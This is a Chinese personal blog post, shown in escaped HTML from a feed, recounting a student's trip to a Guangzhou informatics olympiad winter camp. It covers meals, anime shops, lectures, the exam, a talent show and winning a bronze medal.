&lt;p&gt;然后是漫长的安检和候机....&lt;/p&gt;
&lt;p&gt;在经历各种各样奇怪的娱乐过后，飞机终于落地&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;飞机上拍的云朵&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;下去坐地铁，站了一个多小时后有疯狂转圈终于吃上了人生中第一顿麦当劳并到达了宾馆&lt;/p&gt;
&lt;p&gt;发现电视有 HDML 口，接之&lt;/p&gt;
&lt;p&gt;一顿瞎嗨，用电视看了看鬼畜和老番&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h2&gt;Day 0&lt;/h2&gt;
&lt;p&gt;早上六点起来去萝岗吃早茶&lt;/p&gt;
&lt;p&gt;买了一张地铁日卡，从 苏元 苟到坐到 萝岗&lt;/p&gt;
&lt;p&gt;c0per 大爷在买日卡的时候刷人家的红包刷出来了 10 块钱...&lt;/p&gt;
&lt;p&gt;内地人消费水平过于强大瑟瑟发抖...&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2019/02/BURST20190124082635746.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2019/02/BURST20190124080333183.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;精致却贵&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;平均每人30+却连五分饱都吃不上...&lt;/p&gt;
&lt;p&gt;然后坐回 &lt;code&gt;苏元&lt;/code&gt; 在宾馆休息一下就再度出发，站了20站到 &lt;code&gt;公园前&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;动漫星城 get&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2019/02/BURST20190124122227133.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2019/02/BURST20190124113905475-e1549030204163.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;都想买喵 买不起喵&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;咱是真的没想到有一整栋楼都是2.5次元类型的产品，这里是天堂吗&lt;/p&gt;
&lt;p&gt;然后我们的钱包削减的速度也让咱心疼...&lt;/p&gt;
&lt;p&gt;然后步行去&lt;code&gt;animate&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2019/02/BURST20190124130524714.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我错了，&lt;code&gt;animate&lt;/code&gt; 让我感到钱包爆炸....&lt;/p&gt;
&lt;p&gt;接着大家在麦当劳吃午饭（虽然我只吃了了冰激凌）&lt;/p&gt;
&lt;p&gt;经过一阵时间的的休整，我们又站回了&lt;code&gt;苏元&lt;/code&gt;站&lt;/p&gt;
&lt;p&gt;经过漫长的爬坡，终于到达了广州市第二中学&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2019/02/IMG_20190124_161323-1024x768.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;于宿舍拍摄&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;晚上就是开幕式，没有 dzd 讲话差评&lt;/p&gt;
&lt;p&gt;广州二中真的是舒服啊qwq&lt;/p&gt;
&lt;h2&gt;Day 1 - 4 听课&lt;/h2&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2019/02/%E7%AC%AC%E4%B8%80%E8%AF%BE%E5%A0%82%E7%95%99%E5%BF%B5-1024x512.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;在第一课堂颓废（伦敦真是太可爱了）&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;第一课堂完全不会，第二课堂没有意思&lt;/p&gt;
&lt;p&gt;真实冬眠&lt;/p&gt;
&lt;p&gt;实际上还是把生成函数的入门了解的差不多并补习许多数学知识&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2019/02/IMG_20190126_191332-1024x768.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;即得易见平凡，仿照上例显然，留作习题答案略，读者自证不难
反之亦然同理，推论自然成立，略去过程Q, E, D，由上可知证毕&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;对析合树有了一个初步的认识&lt;/p&gt;
&lt;p&gt;早饭不是很热乎使人不太欢乐&lt;/p&gt;
&lt;p&gt;但是整体而言伙食已经很优秀了&lt;/p&gt;
&lt;p&gt;还托第一课堂的福知道一个及其虐人的gal -- &lt;code&gt;交响乐之雨&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Day 5 考试 &amp;amp;&amp;amp; 文艺汇演&lt;/h2&gt;
&lt;h3&gt;考试&lt;/h3&gt;
&lt;p&gt;T1 嗯，purfey序列？然后？数学？滚！type = 0 大发好&lt;/p&gt;
&lt;p&gt;T2 嗯，这题面怎么跟个文开发档一样？subtask1 两行？subtask2 打表？subtask3 直接bfs？然后？不会&lt;/p&gt;
&lt;p&gt;T3 博弈论？数学？ ...有点困...诶！怎么突然就过去 1.5h 了？我WC怎么睡着了？？？喵喵喵&lt;/p&gt;
&lt;p&gt;考完感觉自己只写了暴力？Fe 预定？&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2019/02/IMG_20190129_165912-1024x768.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;文艺汇演&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;曾经我认为，学 Oi 的到后期都会逐渐自闭，但是通过这此文艺汇演，我发现，所有 Oier 的心都是连在一起的，大家都不会孤独的！&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这次文艺汇演从无到有到开始只有40分钟左右的时间，可以说是效率非常的高了&lt;/p&gt;
&lt;p&gt;上来先是各路dalao唱歌&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2019/02/IMG_20190129_213122-768x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后 Oi改编 歌曲超级好评，每当听起这些歌曲的时候，心里都有一种认为自己要更努力的冲动&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2019/02/IMG_20190129_205746_1-1024x768.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;LCA 的女装相声超级好评，禁赛边缘&lt;/p&gt;
&lt;h2&gt;Day 5 科技馆 &amp;amp;&amp;amp; 闭幕式&lt;/h2&gt;
&lt;h3&gt;科技馆&lt;/h3&gt;
&lt;p&gt;不知道为什么会有社会活动这种奇怪的东西，不过路上景色十分优秀&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2019/02/IMG_20190130_090449-768x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;珠江&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;科技馆没什么可以说的，每个城市都是一样的qwq&lt;/p&gt;
&lt;h2&gt;闭幕式&lt;/h2&gt;
&lt;p&gt;回来知道T2 Subtask2 重新测试，自己分数貌似是个Ag&lt;/p&gt;
&lt;p&gt;但是看泄露名单并没有&lt;/p&gt;
&lt;p&gt;然而我写的是正解喵？&lt;/p&gt;
&lt;p&gt;并不知道发生了什么，所以就随便吧，反正也没指望拿牌子&lt;/p&gt;
&lt;p&gt;dzd 终于讲话了，上来就怼教育部也是非常的优秀了，不过他句句在理，十分钦佩这样子的人&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2019/02/IMG20190130173540-1024x768.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;意料之外的拿上了&lt;code&gt;Cu&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;对于一个初中生来说，这应该是一个不错的成绩吧？&lt;/p&gt;
&lt;p&gt;不过要是以初中上要求自己的话，还是别努力了吧（况且好像还有好多初中选手吊打我）&lt;/p&gt;
&lt;p&gt;所以下次一定要好好努力，起码，不睡觉！&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2019/02/IMG_20190130_212546-1024x768.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Day 6 有缘再见&lt;/h2&gt;
&lt;p&gt;正如 wh 教授所言，美好的事物总是短暂的&lt;/p&gt;
&lt;p&gt;我们乘坐早上 11:30 的巴士前往白云机场&lt;/p&gt;
&lt;p&gt;临走前去找 ouuan 大佬 PY 到一个士力架&lt;/p&gt;
&lt;p&gt;到达机场，过了安检在星巴克买了一杯红茶拿铁&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2019/02/%E6%9C%BA%E5%9C%BA%E4%B8%AD%E7%9A%84%E6%98%9F%E5%B7%B4%E5%85%8B-768x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;果然到了内地就是要喝星巴克&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;h2&gt;各位 Oier 们， 有缘再见！&lt;/h2&gt;
&lt;p&gt;祝各位 RP++&lt;/p&gt;
</content:encoded><category>algorithm</category><category>share</category><author>woshiluo</author></item></channel></rss>